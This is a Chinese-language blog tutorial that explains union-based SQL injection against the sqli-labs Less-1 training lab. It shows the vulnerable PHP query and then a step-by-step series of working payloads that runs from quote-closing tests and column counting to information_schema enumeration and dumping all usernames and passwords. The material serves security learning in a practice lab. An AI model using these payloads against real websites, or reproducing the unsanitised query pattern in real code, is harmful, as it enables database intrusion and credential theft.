基於sqli-labs Less-1的sql聯合注入詳解

星海河發表於2024-09-11

SQLi Labs 是一個專為學習和測試 SQL 注入漏洞而設計的實驗室平臺。它旨在幫助安全研究人員、開發者以及網路安全愛好者深入理解和實踐各種 SQL 注入攻擊。SQLi Labs 提供了一系列精心設計的實驗室環境和挑戰,模擬真實的 SQL 注入漏洞,並提供相應的解決方案。

關於sqli-labs靶場的本地搭建,我建議大家參考sqli-labs搭建教程

白盒測試

要理解sql注入的原理,我們就必須先了解工程師是如何實現以下功能的:在前端接受一個使用者提交的引數,在後端依據該引數在資料庫中查詢相關內容,並將它返回到前端。
就像Less-1中,透過在前端接收了引數id的值,在資料庫中查詢了id=1的資料,並輸出了login name與password。

理解後端的程式碼並不需要深厚的php程式碼知識,我們暫且只需要理解以下三個程式碼就能明白它的執行原理:

$id=$_GET['id'];   //透過GET方式,從前端的id引數接受資料,並賦給後端的變數id。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";  //構造一個查詢語句,用於從user表中查詢 id(列名)=$id(變數)那行的所有資料
$result=mysql_query($sql);  //mysql_query將我們構造好的查詢語句,傳送給mysql,並將執行結果返回並賦給$result,在後續未展示的程式碼中result將被輸出到前端

此時,假如我們令引數id為第一行的程式碼,則查詢語句就會變成第二行的結果。我們在1後面新增的'和原本包裹變數$id的前面的'成對,從而使我們成功在後面加入了一個判斷,由於1≠2,那麼查詢就會報錯。這樣,我們就有可能透過閉合前面的'來執行一些其他的操作,請看接下來的注入過程吧。

id=1' and '1'='2
SELECT * FROM users WHERE id='1' and '1'='2' LIMIT 0,1

黑盒測試

1. 判斷注入型別

?id=1 and 1=1 回顯
?id=1 and 1=2 回顯
?id=1' and '1'='1 回顯
?id=1' and '1'='2 錯誤
?id=1' 錯誤
?id=1'--+ 回顯
  • 為什麼要判斷注入型別:在剛才的白盒中,可以看到查詢語句中$id是被'包裹的,除了單引號,雙引號、括號等都有可能用於包裹$id,因此,必須嘗試出正確的符號來閉合包裹的符號。
  • --+:是一個註釋符,後面的程式碼將被忽略,避免後面可能存在的條件影響前面注入的結果。

2. 判斷欄位數

/?id=1' order by 1--+
/?id=1' order by 2--+
/?id=1' order by 3--+
  • order by 介紹:當我們傳入一個引數時,可能會查到多行結果,order by的作用就是將所有的資料按照第x列的資料進行排序,當第x列不存在時就會報錯,因而order by函式可以查出列數(即欄位數)
  • 為什麼要判斷欄位數:在接下來的聯合查詢形成的語句會是select * where id = 1 union select 1,2,3,聯合查詢兩個select的列數必須一致,*代表所有列,因此要先知道總列數,才能正確設定聯合查詢的列數

3. 判斷注入點

/?id=1' union select 1,2,3--+   '資料回顯,但是沒有回顯注入點
/?id=0' union select 1,2,3--+   '回顯注入點為2和3
  • 什麼是聯合查詢:就是在執行完select * where id='1'後,再執行select 1,2,3,並將結果合併,其中select 1,2,3返回一行包含三個固定值的結果,每個值分別是 1, 2, 3
  • 為什麼要判斷注入點:假設有一個表,列名(即欄位名)分別為id、name、gender...,但是該網站的設計是,輸入id,告訴你name是什麼。總結而言,雖然表中有許多列,但並不是所有列的資料都會被輸出到前端,因此必須要先尋找會被輸出的位置才能進行後續的注入。
  • 為什麼第二行修改為id=0成功回顯:在剛剛的白盒中,我並未介紹LIMIT 0,1的作用,其作用為在查詢到的所有資料中,從第0行開始,輸出1行。當id=1時,是能夠正常查詢到資料的,於是只有這一行被輸出了。因此我們將id設定為0(或者負數),使得主查詢查不到資料,後面聯合查詢的資料就能正常輸出了。

4. 拆解資料庫

/?id=0' union select 1,2,database()--+    '資料庫security

/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+         '表名emails,referers,uagents,users

/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' --+  '欄位id,username,password

/?id=0' union select 1,group_concat(username),group_concat(password) from security.users --+ 
  • database():當前資料庫名,代替3的位置後,資料庫名就會被輸出。
  • group_concat:將得到的所有結果拼接起來並返回,如果不拼接,只會顯示查到的第一行結果。
  • information_schema:是mysql自帶的一個特殊的資料庫,它記錄了所有的表名、列名,透過它,我們就能從資料庫名一層層的拆解出我們想要資料的列名、表名,並查詢到想要的資料。
    以下為注入結果,輸出了所有使用者名稱與密碼。

寫在最後

網安的學習需要多動手、多除錯、多思考,簡單的跟著教程走只能學到表面的知識,無法真正理解其中的原理。只有透過不斷地實踐,遇到問題時深入分析和解決,才能提升自己的技術能力。同時,保持好奇心,多去探索不同的安全工具和技術,積極參與社群討論,分享和學習他人的經驗,才能在這個快速發展的領域中不斷進步。

相關文章